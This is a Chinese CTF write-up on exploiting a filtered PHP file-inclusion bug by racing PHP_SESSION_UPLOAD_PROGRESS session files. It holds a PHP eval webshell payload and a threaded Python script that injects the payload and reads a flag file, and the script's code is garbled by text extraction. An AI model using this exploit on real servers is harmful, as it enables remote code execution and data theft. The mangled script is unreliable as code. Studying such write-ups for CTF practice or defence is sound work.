代码审计
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里将
:
和.
号过滤后,php
伪协议不能用,后缀名文件也被过滤了,所以要利用session
文件进行文件包含利用,这里要用到PHP_SESSION_UPLOAD_PROGRESS
文件上传进度,进行文件包含利用,具体原理解释看后面的参考文章。- 简单介绍一下
PHP_SESSION_UPLOAD_PROGRESS
,这个功能是在php5.4
版本添加的,我们来看一下php.ini
默认配置文件
(1)enabled=on
表示当浏览器向服务器POST
发送一个文件名为[session.upload_progress.name]同名变量时
会向session
中将此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。
(2)cleanup=on
当文件上传完成后,会立即清空对应session文件中的内容
(3)+(4)是session
对应文件中的键名
(7)session.use_strict_mode=off
是指Cookie中sessionid
可控,当我们自行设置PHPSESSID=flag
时,PHP将会在服务器上创建一个文件:/tmp/sess_flag
。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.uploadprogress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess文件里。- session.upload_progress.enabled = on
- session.upload_progress.cleanup = on
- session.uploadprogress.prefix = “upload_progress“
- session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
- session.upload_progress.freq = “1%”
- session.upload_progress.min_freq = “1”
- session.use_strict_mode=off
- 所以当我们构造
PHP_SESSION_UPLOAD_PROGRESS
上传完成后,默认情况下就会立即清空session
内容,那如何利用文件包含呢,就要用到条件竞争了,不断上传,不断请求/tmp/sess_xxx
文件 接下来我讲讲手动发包和脚本来做,首先制作一个
upload
上传表单<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>session upload</title> </head> <body> <!--修改服务器URL地址--> <form action="" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file1" /> <input type="submit" /> </form> </body> </html>
抓包,添加
Cookie:PHPSESSID=flag
,此时PHP将会在服务器上创建一个文件:/tmp/sess_flag
,并在PHP_SESSION_UPLOAD_PROGRESS
下添加恶意命令,一定要添加文件上传,不然不会将文件详细内容写入到session
文件中
- 构造访问
file=/tmp/sess_flag
包,利用intruder
进行条件竞争,不断上传,不断访问 - 这时就可以看到
fl0g.php
,重新构造命令,条件竞争上传获取就可以了 - 接下来用脚本进行实现
```python-- coding: utf-8 --
‘’’ @Time : 2021/7/7 17:32 @Author : Seals6 @File : web82.py @contact: 972480239@qq.com @blog: seals6.github.io
-- 功能说明 --
-- 更新说明 --
‘’’ import io import requests import threading
sessid = ‘flag’ data = {“cmd”: “system(‘cat fl0g.php’);”}
自行修改
url = “”
def write(session): while True: f = io.BytesIO(b’a’ 1024 50) resp = session.post(url, data={‘PHP_SESSION_UPLOAD_PROGRESS’: ‘<?php eval($_POST[“cmd”]);?>’}, files={‘file’: (‘1.txt’, f)}, cookies={‘PHPSESSID’: sessid})
def read(session): while True: resp = session.post(url+’?file=/tmp/sess_’ + sessid,data=data) if ‘1.txt’ in resp.text: print(resp.text) event.clear() else: pass
if name == “main“: event = threading.Event() with requests.session() as session: for i in range(1, 30): threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
```
参考文章:
利用session.upload_progress进行文件包含和反序列化渗透
Session 上传进度
npfs-利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含